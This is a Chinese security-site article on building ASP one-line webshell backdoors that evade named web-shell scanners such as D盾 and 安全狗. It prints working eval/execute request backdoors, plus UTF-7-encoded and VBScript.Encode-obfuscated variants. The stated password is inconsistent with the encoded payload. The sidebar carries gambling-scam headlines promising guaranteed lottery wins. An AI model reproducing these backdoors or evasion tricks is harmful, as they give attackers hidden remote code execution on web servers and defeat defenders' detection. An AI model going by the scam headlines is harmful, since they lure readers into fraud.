ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → 构造免杀一句话木马

构造免杀一句话木马

时间:2018-05-26 14:08:39人气:作者:本站作者我要评论

前言

随着时间的推移和其它新型动态网页技术的兴起,使用ASP(Active Server Page)技术构建的Web应用越来越少。ASP的衰落、旧资料和链接的失效、前辈们早期对ASP较多的研究,都导致了新型ASP网站后门和技术研究的减少。

本篇文章主要梳理ASP一句话Webshell的构建和规避检测软件达到源文件免杀的思路。最终构建能够同时绕过以下表格中8个专业木马查杀工具和平台检测的Webshell,构造出零提示、无警告、无法被检测到的ASP一句话木马后门。

常见Web查杀软件

安全狗、D盾Web查杀、D盾防火墙、深信服WebShellKillerTool、360主机卫士、OpenRASP、护卫神云查杀系统、河马专业版查杀 等......

ASP执行流程和原理

ASP脚本原生支持通过VBScriptJScript两种脚本语言来建立动态页面,本质上是将PC端的脚本执行能力迁移到了服务器。使用ASP技术构建的网站,通常都是部署在IIS或PWS服务器上。

借用一个简图表示浏览器请求一个ASP脚本的流程:

构造免杀一句话木马

当Web应用服务器(IIS)判断出请求是访问ASP脚本后,自动通过Isapi模块调用ASP脚本的解释运行引擎asp.dll。asp.dll从文件系统或内部缓冲区中获取ASP脚本的文本内容,然后进行语法分析并解释执行。

ASP脚本中的代码块一般被包裹在<% %>标签中,默认以VBscript语言进行解释。除此之外,还可以使用

  1. <%@ language="VBscript" %>

或者

  1. <script language="VBScript" runat="server"> some-vbscript-code </script>

标签,显性的告诉服务器脚本使用VBscript语言进行解释。同理可将language指定为JScript,则表示用微软实现的JavaScript语言解释服务器上的ASP脚本中的代码。ASP脚本中的基本语法可参考ASP、VbScript和JScript各自的参考手册,本文不再赘述。

ASP支持的注释方式

ASP脚本中支持五种注释方式

  1. '           单引号     (单行注释)
  2. REM         rem+空格   (单行注释)
  3. //          双斜线      (单行注释,VBscript,JScript可用,仅支持IIS)
  4. <!-- -->    HTML注释符  (单行注释,VBscript可用,仅支持IIS)
  5. /* */       多行注释符 (多行注释,JScript可用)

ASP一句话后门现状

ASP脚本中,主要用以下三个VBscript函数执行代码,也是我们构造ASP一句话木马的入口。下面是用三个函数分别构建对应长度最短的密码为0的ASP一句话后门示例:

  1. Eval
  2. <%eVAl reQuEst(0)%>
  3. Execute
  4. <%exECuTe ReqUEst(0)%>
  5. ExecuteGlobal
  6. <%eXECutegLobaL rEquEst(0)%>

遗憾的是VBscript语言和其它高级语言相比,语法结构偏向简单。代码层面上很难隐藏上面三个函数的敏感词Eval、Execute和ExecuteGlobal 。
目前用的较多的隐藏以上三个敏感词的两种方式如下:
使用UTF-7编码脚本
一个密码为"cesafe"的原始ASP一句话脚本代码如下:

  1. <%@codepage=65000%>
  2. <%response.codepage=65001:eval(request("cesafe"))%>

UTF-7编码后utf7-bypass.asp脚本内容如下:

  1. <%@codepage=65000%>
  2. <%
  3. +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-
  4. %>

这种方式可以躲过较多webshell检测软件查杀,但是D盾Webshell查杀工具,提示脚本使用了UTF-7编码,并不能做到完全不被察觉。
使用VBScript.Encode功能编码脚本

ASP脚本默认可以使用内置的Encoder工具,对代码进行混淆,以保护源码的安全性。写一个vbs脚本,内容如下:

  1. ExecuteGlobal request("cesafe")

使用微软的工具运行命令screnc.exe script.vbs script.vbe,得到结果

  1. #@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@

然后就可以构建一个密码为"LandGrey"的编码混淆后的一句话木马脚本。注意里面有不可打印字符。

  1. <%@ LANGUAGE = "VBScript.Encode"%>
  2. <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl   [MM+Xrb+AsAAA==^#~@%>

这种方式也可以绕过较多的查杀工具,但D盾会解码混淆后的脚本,然后再判断是否是恶意脚本,构造出来的一句话脚本木马依然会被查杀。

接着就陷入了较长时间的进度停滞,堆积各种代码姿势和测试已经公开的一句话木马,均不能躲过"D盾"的毒手。

期间人工测试了大量代码,也试图通过fuzzing,来构造eval{some-char}RequEst("cesafe")形式的代码,尝试找到可以连接在eval和request之间的特殊字符,让ASP引擎既能正常解析脚本,又能绕过软件检测,结果失败了。

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网